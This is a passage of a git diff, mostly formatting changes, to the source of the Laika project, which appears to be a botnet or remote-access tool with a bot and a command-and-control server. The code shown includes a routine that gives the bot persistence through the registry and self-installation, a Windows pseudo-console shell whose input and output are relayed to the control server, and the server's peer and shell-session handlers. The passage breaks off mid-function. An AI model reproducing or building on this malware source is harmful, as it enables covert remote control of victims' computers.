*, regKeyVal, LAIKA_WIN_REG_VAL); CHAR newRegValue[MAX_PATH] = {0}; LPSTR regVal; DWORD regSz; @@ -182,12 +195,14 @@ void installRegistry() { } /* try to gain persistance on machine */ -void laikaB_tryPersist() { +void laikaB_tryPersist() +{ installRegistry(); installSelf(); } /* try to gain root */ -void laikaB_tryRoot() { +void laikaB_tryRoot() +{ /* stubbed */ } \ No newline at end of file diff --git a/bot/win/winshell.c b/bot/win/winshell.c index 6d77c89..1150665 100644 --- a/bot/win/winshell.c +++ b/bot/win/winshell.c @@ -1,14 +1,15 @@ /* platform specific code for opening shells (pseudo consoles) on windows */ +#include "bot.h" #include "lerror.h" #include "lmem.h" -#include "bot.h" #include "shell.h" -#include #include +#include /* shells are significantly more complex on windows than linux for laika */ -struct sLaika_RAWshell { +struct sLaika_RAWshell +{ struct sLaika_shell _shell; HANDLE in, out; PROCESS_INFORMATION procInfo; @@ -16,12 +17,16 @@ struct sLaika_RAWshell { HPCON pseudoCon; }; -HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows); +HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, + int rows); HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC); -struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {; +struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) +{ + ; TCHAR szComspec[MAX_PATH]; - struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell)); + struct sLaika_RAWshell *shell = + (struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell)); HRESULT hr; ZeroMemory(shell, sizeof(struct sLaika_RAWshell)); @@ -50,34 +55,35 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro } /* launch cmd shell */ - hr = CreateProcess( - NULL, /* No module name - use Command Line */ - szComspec, /* Command Line */ - NULL, /* Process handle not inheritable */ - NULL, /* Thread handle not inheritable */ - FALSE, /* Inherit handles */ - EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */ - NULL, /* Use parent's environment block */ - NULL, /* Use parent's starting directory */ - &shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */ - &shell->procInfo) /* Pointer to PROCESS_INFORMATION */ - ? S_OK : HRESULT_FROM_WIN32(GetLastError()); + hr = CreateProcess(NULL, /* No module name - use Command Line */ + szComspec, /* Command Line */ + NULL, /* Process handle not inheritable */ + NULL, /* Thread handle not inheritable */ + FALSE, /* Inherit handles */ + EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */ + NULL, /* Use parent's environment block */ + NULL, /* Use parent's starting directory */ + &shell->startupInfo.StartupInfo, /* Pointer to STARTUPINFO */ + &shell->procInfo) /* Pointer to PROCESS_INFORMATION */ + ? S_OK + : HRESULT_FROM_WIN32(GetLastError()); if (hr != S_OK) { DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList); laikaM_free(shell->startupInfo.lpAttributeList); - + ClosePseudoConsole(shell->pseudoCon); laikaM_free(shell); return NULL; } - return (struct sLaika_shell*)shell; + return (struct sLaika_shell *)shell; } -void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { - struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; +void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) +{ + struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell; /* kill process (it's ok if it fails) */ TerminateProcess(shell->procInfo.hProcess, 0); @@ -99,8 +105,11 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { /* ====================================[[ Shell Handlers ]]===================================== */ -/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ -HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) { +/* edited from + * https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ +HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, + int rows) +{ COORD consoleSize = (COORD){.X = cols, .Y = rows}; HANDLE hPipePTYIn = INVALID_HANDLE_VALUE; HANDLE hPipePTYOut = INVALID_HANDLE_VALUE; @@ -108,11 +117,14 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip DWORD mode = PIPE_NOWAIT; /* create the pipes to which the ConPTY will connect */ - if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0)) + if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || + !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0)) return HRESULT_FROM_WIN32(GetLastError()); - /* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with - the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */ + /* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much + easier so it fits in nicely with the rest of the laika codebase + (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) + */ if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL)) return HRESULT_FROM_WIN32(GetLastError()); @@ -127,8 +139,10 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip return hr; } -/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ -HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) { +/* also edited from + * https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ +HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) +{ HRESULT hr = E_UNEXPECTED; if (pStartupInfo) { @@ -140,19 +154,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize); /* Initialize thread attribute list */ - if (pStartupInfo->lpAttributeList - && InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){ + if (pStartupInfo->lpAttributeList && + InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)) { /* Set Pseudo Console attribute */ - hr = UpdateProcThreadAttribute( - pStartupInfo->lpAttributeList, - 0, - PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, - hPC, - sizeof(HPCON), - NULL, - NULL) - ? S_OK : HRESULT_FROM_WIN32(GetLastError()); + hr = UpdateProcThreadAttribute(pStartupInfo->lpAttributeList, 0, + PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hPC, sizeof(HPCON), + NULL, NULL) + ? S_OK + : HRESULT_FROM_WIN32(GetLastError()); } else { hr = HRESULT_FROM_WIN32(GetLastError()); } @@ -161,13 +171,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo return hr; } -bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { - char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)]; - struct sLaika_peer* peer = bot->peer; - struct sLaika_socket* sock = &peer->sock; - struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; +bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) +{ + char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)]; + struct sLaika_peer *peer = bot->peer; + struct sLaika_socket *sock = &peer->sock; + struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell; DWORD rd; - bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL); + bool readSucc = + ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t), &rd, NULL); if (readSucc) { /* we read some input! send to cnc */ @@ -176,7 +188,8 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { laikaS_write(sock, readBuf, rd); laikaS_endVarPacket(peer); } else { - if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT) + if (GetLastError() == ERROR_NO_DATA && + WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT) return true; /* recoverable, process is still alive */ /* unrecoverable error */ laikaB_freeShell(bot, _shell); @@ -186,16 +199,18 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { return true; } -bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) { - struct sLaika_peer* peer = bot->peer; - struct sLaika_socket* sock = &peer->sock; - struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; +bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, + size_t length) +{ + struct sLaika_peer *peer = bot->peer; + struct sLaika_socket *sock = &peer->sock; + struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell; size_t nLeft; DWORD nWritten; nLeft = length; while (nLeft > 0) { - if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) { + if (!WriteFile(shell->out, (void *)buf, length, &nWritten, NULL)) { /* unrecoverable error */ laikaB_freeShell(bot, _shell); return false; diff --git a/cnc/include/cnc.h b/cnc/include/cnc.h index 7b9afa9..44a9df4 100644 --- a/cnc/include/cnc.h +++ b/cnc/include/cnc.h @@ -1,24 +1,25 @@ #ifndef LAIKA_CNC_H #define LAIKA_CNC_H +#include "hashmap.h" #include "laika.h" #include "lpacket.h" -#include "lsocket.h" -#include "lpolllist.h" #include "lpeer.h" +#include "lpolllist.h" +#include "lsocket.h" #include "ltask.h" -#include "hashmap.h" /* kill peers if they haven't ping'd within a minute */ #define LAIKA_PEER_TIMEOUT 60 * 1000 typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData); -struct sLaika_cnc { +struct sLaika_cnc +{ uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; struct sLaika_socket sock; struct sLaika_pollList pList; - struct hashmap *peers; /* holds all peers, lookup using pubkey */ + struct hashmap *peers; /* holds all peers, lookup using pubkey */ struct sLaika_peer **authPeers; /* holds connected panel peers */ uint8_t **authKeys; int authKeysCount; @@ -50,7 +51,8 @@ void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData) struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub); /* kills peers who haven't ping'd in a while */ -void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); +void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, + clock_t currTick, void *uData); void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData); diff --git a/cnc/include/cpanel.h b/cnc/include/cpanel.h index 38bdd3c..331185d 100644 --- a/cnc/include/cpanel.h +++ b/cnc/include/cpanel.h @@ -7,9 +7,13 @@ void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); -void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); -void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); -void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); -void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); +void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, + void *uData); +void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, + void *uData); +void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, + void *uData); +void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, + void *uData); #endif \ No newline at end of file diff --git a/cnc/include/cpeer.h b/cnc/include/cpeer.h index ee7ff74..ada6fbf 100644 --- a/cnc/include/cpeer.h +++ b/cnc/include/cpeer.h @@ -3,18 +3,20 @@ #include "laika.h" #include "lpacket.h" -#include "lsocket.h" -#include "lpolllist.h" #include "lpeer.h" +#include "lpolllist.h" +#include "lsocket.h" -struct sLaika_peerInfo { +struct sLaika_peerInfo +{ struct sLaika_shellInfo *shells[LAIKA_MAX_SHELLS]; /* currently connected shells */ struct sLaika_cnc *cnc; long lastPing; bool completeHandshake; }; -struct sLaika_shellInfo { +struct sLaika_shellInfo +{ struct sLaika_peer *bot; struct sLaika_peer *auth; uint32_t botShellID, authShellID; @@ -24,25 +26,28 @@ struct sLaika_shellInfo { #define BASE_PEERINFO struct sLaika_peerInfo info; /* these will differ someday */ -struct sLaika_botInfo { +struct sLaika_botInfo +{ BASE_PEERINFO }; -struct sLaika_authInfo { +struct sLaika_authInfo +{ BASE_PEERINFO }; #undef BASE_PEERINFO -#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo*)x->uData) -#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo*)x->uData) -#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo*)x->uData) +#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo *)x->uData) +#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo *)x->uData) +#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo *)x->uData) struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc); struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc); void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo); -struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows); +struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, + uint16_t cols, uint16_t rows); void laikaC_closeShell(struct sLaika_shellInfo *shell); void laikaC_closeShells(struct sLaika_peer *peer); diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index a46986a..9868d9a 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -1,57 +1,61 @@ -#include "lmem.h" -#include "lsodium.h" -#include "lsocket.h" -#include "lerror.h" -#include "ltask.h" +#include "cnc.h" #include "cpanel.h" #include "cpeer.h" -#include "cnc.h" +#include "lerror.h" +#include "lmem.h" +#include "lsocket.h" +#include "lsodium.h" +#include "ltask.h" /* ======================================[[ PeerHashMap ]]======================================= */ -typedef struct sCNC_PeerHashElem { +typedef struct sCNC_PeerHashElem +{ struct sLaika_peer *peer; uint8_t *pub; } tCNC_PeerHashElem; -int cnc_PeerElemCompare(const void *a, const void *b, void *udata) { +int cnc_PeerElemCompare(const void *a, const void *b, void *udata) +{ const tCNC_PeerHashElem *ua = a; const tCNC_PeerHashElem *ub = b; - return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES); + return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES); } -uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) { +uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) +{ const tCNC_PeerHashElem *u = item; - return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */ + return *(uint64_t *)(u->pub); /* hashes pub key (first 8 bytes) */ } /* ====================================[[ Packet Handlers ]]==================================== */ -bool checkPeerKey(struct sLaika_peer *peer, void *uData) { +bool checkPeerKey(struct sLaika_peer *peer, void *uData) +{ if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0) LAIKA_ERROR("public key is already in use!\n"); return true; } -void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { +void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ char magicBuf[LAIKA_MAGICLEN]; - struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData; struct sLaika_cnc *cnc = pInfo->cnc; char *tempIPBuf; uint8_t major, minor; - laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN); + laikaS_read(&peer->sock, (void *)magicBuf, LAIKA_MAGICLEN); major = laikaS_readByte(&peer->sock); minor = laikaS_readByte(&peer->sock); peer->osType = laikaS_readByte(&peer->sock); peer->type = PEER_BOT; - if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 - || major != LAIKA_VERSION_MAJOR - || minor != LAIKA_VERSION_MINOR) + if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 || major != LAIKA_VERSION_MAJOR || + minor != LAIKA_VERSION_MINOR) LAIKA_ERROR("invalid handshake request!\n"); /* read peer's public key */ @@ -61,15 +65,17 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN); laikaS_read(&peer->sock, peer->inet, LAIKA_INET_LEN); - /* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR, which will kill the peer) */ - laikaC_iterPeers(cnc, checkPeerKey, (void*)peer->peerPub); + /* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR, + * which will kill the peer) */ + laikaC_iterPeers(cnc, checkPeerKey, (void *)peer->peerPub); /* restore null-terminator */ - peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0'; - peer->inet[LAIKA_INET_LEN-1] = '\0'; + peer->hostname[LAIKA_HOSTNAME_LEN - 1] = '\0'; + peer->inet[LAIKA_INET_LEN - 1] = '\0'; /* gen session keys */ - if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0) + if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, + peer->peerPub) != 0) LAIKA_ERROR("failed to gen session key!\n"); /* encrypt all future packets */ @@ -86,8 +92,9 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v LAIKA_DEBUG("accepted handshake from peer %p\n", peer); } -void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; +void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData; pInfo->lastPing = laikaT_getTime(); laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */ @@ -145,11 +152,13 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = { /* ==========================================[[ CNC ]]========================================== */ -struct sLaika_cnc *laikaC_newCNC(uint16_t port) { +struct sLaika_cnc *laikaC_newCNC(uint16_t port) +{ struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc)); /* init peer hashmap & panel list */ - cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL); + cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, + cnc_PeerElemCompare, NULL, NULL); cnc->authPeers = NULL; cnc->authKeys = NULL; cnc->authKeysCount = 0; @@ -158,8 +167,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) { cnc->authPeersCount = 0; cnc->port = port; - /* init socket & pollList */ - laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */ + /* init socket (we just need it for the raw socket fd and abstracted API :P) & pollList */ + laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); laikaP_initPList(&cnc->pList); if (sodium_init() < 0) { @@ -178,7 +187,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) { return cnc; } -void laikaC_bindServer(struct sLaika_cnc *cnc) { +void laikaC_bindServer(struct sLaika_cnc *cnc) +{ /* bind sock to port */ laikaS_bind(&cnc->sock, cnc->port); @@ -186,7 +196,8 @@ void laikaC_bindServer(struct sLaika_cnc *cnc) { laikaP_addSock(&cnc->pList, &cnc->sock); } -void laikaC_freeCNC(struct sLaika_cnc *cnc) { +void laikaC_freeCNC(struct sLaika_cnc *cnc) +{ int i; laikaS_cleanSocket(&cnc->sock); @@ -201,7 +212,8 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) { laikaM_free(cnc); } -void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { +void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) +{ int i; GETPINFOFROMPEER(peer)->completeHandshake = true; @@ -218,7 +230,8 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer}); } -void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { +void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) +{ int i; /* ignore uninitalized peers */ @@ -228,16 +241,17 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { /* close any open shells */ laikaC_closeShells(peer); switch (peer->type) { - case PEER_BOT: { - /* TODO */ - break; - } - case PEER_AUTH: { - /* remove peer from panels list */ - laikaC_rmvAuth(cnc, peer); - break; - } - default: break; + case PEER_BOT: { + /* TODO */ + break; + } + case PEER_AUTH: { + /* remove peer from panels list */ + laikaC_rmvAuth(cnc, peer); + break; + } + default: + break; } /* notify connected panels of the disconnected peer */ @@ -249,7 +263,8 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { hashmap_delete(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer}); } -void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type) { +void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type) +{ /* make sure to update connected peers */ laikaC_onRmvPeer(cnc, peer); @@ -259,26 +274,28 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY /* update accepted packets */ peer->type = type; switch (type) { - case PEER_AUTH: - peer->packetTbl = laikaC_authPktTbl; - peer->uData = laikaC_newAuthInfo(cnc); - break; - case PEER_BOT: - peer->packetTbl = laikaC_botPktTbl; - peer->uData = laikaC_newBotInfo(cnc); - break; - default: - LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n"); - break; + case PEER_AUTH: + peer->packetTbl = laikaC_authPktTbl; + peer->uData = laikaC_newAuthInfo(cnc); + break; + case PEER_BOT: + peer->packetTbl = laikaC_botPktTbl; + peer->uData = laikaC_newBotInfo(cnc); + break; + default: + LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n"); + break; } /* a new (but not-so-new) peer has arrived */ laikaC_onAddPeer(cnc, peer); } -void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) { +void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) +{ /* grow array if we need to */ - laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap); + laikaM_growarray(struct sLaika_peer *, cnc->authPeers, 1, cnc->authPeersCount, + cnc->authPeersCap); /* insert into authenticated peer table */ cnc->authPeers[cnc->authPeersCount++] = authPeer; @@ -286,7 +303,8 @@ void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) { LAIKA_DEBUG("added panel %p!\n", authPeer); } -void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) { +void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) +{ int i; for (i = 0; i < cnc->authPeersCount; i++) { @@ -297,9 +315,10 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) { } } -void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) { +void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) +{ uint8_t *buf; - laikaM_growarray(uint8_t*, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap); + laikaM_growarray(uint8_t *, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap); buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES); if (!laikaK_loadKeys(buf, NULL, key, NULL)) @@ -310,27 +329,30 @@ void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) { printf("[~] Added authenticated public key '%s'\n", key); } -void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { +void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) +{ laikaC_onRmvPeer(cnc, peer); /* free peerInfo if it's defined */ if (peer->uData) laikaC_freePeerInfo(peer, peer->uData); - laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer); + laikaP_rmvSock(&cnc->pList, (struct sLaika_socket *)peer); laikaS_freePeer(peer); LAIKA_DEBUG("peer %p killed!\n", peer); } /* socket event */ -void laikaC_onPollFail(struct sLaika_socket *sock, void *uData) { - struct sLaika_peer *peer = (struct sLaika_peer*)sock; - struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; +void laikaC_onPollFail(struct sLaika_socket *sock, void *uData) +{ + struct sLaika_peer *peer = (struct sLaika_peer *)sock; + struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData; laikaC_killPeer(cnc, peer); } -bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { +bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) +{ struct sLaika_peer *peer; struct sLaika_pollEvent *evnts, *evnt; int numEvents, i; @@ -347,13 +369,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { for (i = 0; i < numEvents; i++) { evnt = &evnts[i]; if (evnt->sock == &cnc->sock) { /* event on listener? */ - peer = laikaS_newPeer( - laikaC_botPktTbl, - &cnc->pList, - laikaC_onPollFail, - cnc, - (void*)laikaC_newBotInfo(cnc) - ); + peer = laikaS_newPeer(laikaC_botPktTbl, &cnc->pList, laikaC_onPollFail, cnc, + (void *)laikaC_newBotInfo(cnc)); LAIKA_TRY /* setup and accept new peer */ @@ -379,15 +396,18 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { return true; } -struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) { - tCNC_PeerHashElem *elem = (tCNC_PeerHashElem*)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub}); +struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) +{ + tCNC_PeerHashElem *elem = + (tCNC_PeerHashElem *)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub}); return elem ? elem->peer : NULL; } -bool sweepPeers(struct sLaika_peer *peer, void *uData) { +bool sweepPeers(struct sLaika_peer *peer, void *uData) +{ struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer); - struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; + struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData; long currTime = laikaT_getTime(); /* peer has been silent for a while, kill 'em */ @@ -399,33 +419,38 @@ bool sweepPeers(struct sLaika_peer *peer, void *uData) { return true; } -void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { - struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; +void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, + clock_t currTick, void *uData) +{ + struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData; - laikaC_iterPeers(cnc, sweepPeers, (void*)cnc); + laikaC_iterPeers(cnc, sweepPeers, (void *)cnc); } /* =======================================[[ Peer Iter ]]======================================= */ -struct sWrapperData { +struct sWrapperData +{ tLaika_peerIter iter; void *uData; }; /* wrapper iterator */ -bool iterWrapper(const void *rawItem, void *uData) { - struct sWrapperData *data = (struct sWrapperData*)uData; - tCNC_PeerHashElem *item = (tCNC_PeerHashElem*)rawItem; +bool iterWrapper(const void *rawItem, void *uData) +{ + struct sWrapperData *data = (struct sWrapperData *)uData; + tCNC_PeerHashElem *item = (tCNC_PeerHashElem *)rawItem; return data->iter(item->peer, data->uData); } -void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void 